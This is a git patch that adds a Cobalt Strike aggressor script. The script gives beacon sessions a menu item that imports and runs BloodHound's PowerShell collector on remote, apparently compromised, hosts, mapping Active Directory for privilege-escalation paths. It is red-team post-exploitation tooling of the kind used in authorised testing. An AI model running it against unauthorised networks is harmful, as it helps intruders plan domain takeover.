From 1d06403729833b1ccc9d8ab7b1fbbe235bad6fd8 Mon Sep 17 00:00:00 2001 From: Zack Henson Date: Mon, 3 Apr 2017 15:38:45 -0400 Subject: [PATCH] Add menu support for bloodhound --- .gitmodules | 3 +++ Bloodhound/BloodHound | 1 + Bloodhound/Bloodhound.cna | 23 +++++++++++++++++++++++ 3 files changed, 27 insertions(+) create mode 160000 Bloodhound/BloodHound create mode 100644 Bloodhound/Bloodhound.cna diff --git a/.gitmodules b/.gitmodules index 6d98b14..03f663a 100644 --- a/.gitmodules +++ b/.gitmodules @@ -4,3 +4,6 @@ [submodule "Persistence/OutlookPersistence"] path = Persistence/OutlookPersistence url = https://github.com/Und3rf10w/OutlookPersistence.git +[submodule "Bloodhound/BloodHound"] + path = Bloodhound/BloodHound + url = https://github.com/BloodHoundAD/BloodHound diff --git a/Bloodhound/BloodHound b/Bloodhound/BloodHound new file mode 160000 index 0000000..103416a --- /dev/null +++ b/Bloodhound/BloodHound @@ -0,0 +1 @@ +Subproject commit 103416a7a7761bcd34f154a08b5f98a93b839888 diff --git a/Bloodhound/Bloodhound.cna b/Bloodhound/Bloodhound.cna new file mode 100644 index 0000000..74e7a93 --- /dev/null +++ b/Bloodhound/Bloodhound.cna @@ -0,0 +1,23 @@ +# Adds menu driven support for BloodHound +# Zack Henson + +sub run_bloodhound { + $bid = $1; + binput($bid, "powershell-import " . script_resource("BloodHound/PowerShell/BloodHound.ps1")); + bpowershell_import($bid, script_resource("BloodHound/PowerShell/BloodHound.ps1")); + prompt_text("CSV output folder (on remote machine)", "C:\\Temp", { + binput($bid, "powershell Invoke-BloodHound -CSVFolder $1"); + bpowershell($bid, "Invoke-BloodHound -CSVFolder $1"); + }); +} + +popup beacon_bottom { + menu "Bloodhound"{ + item "Run Bloodhound"{ + local('$bid'); + foreach $bid ($1){ + run_bloodhound($bid); + } + } + } +}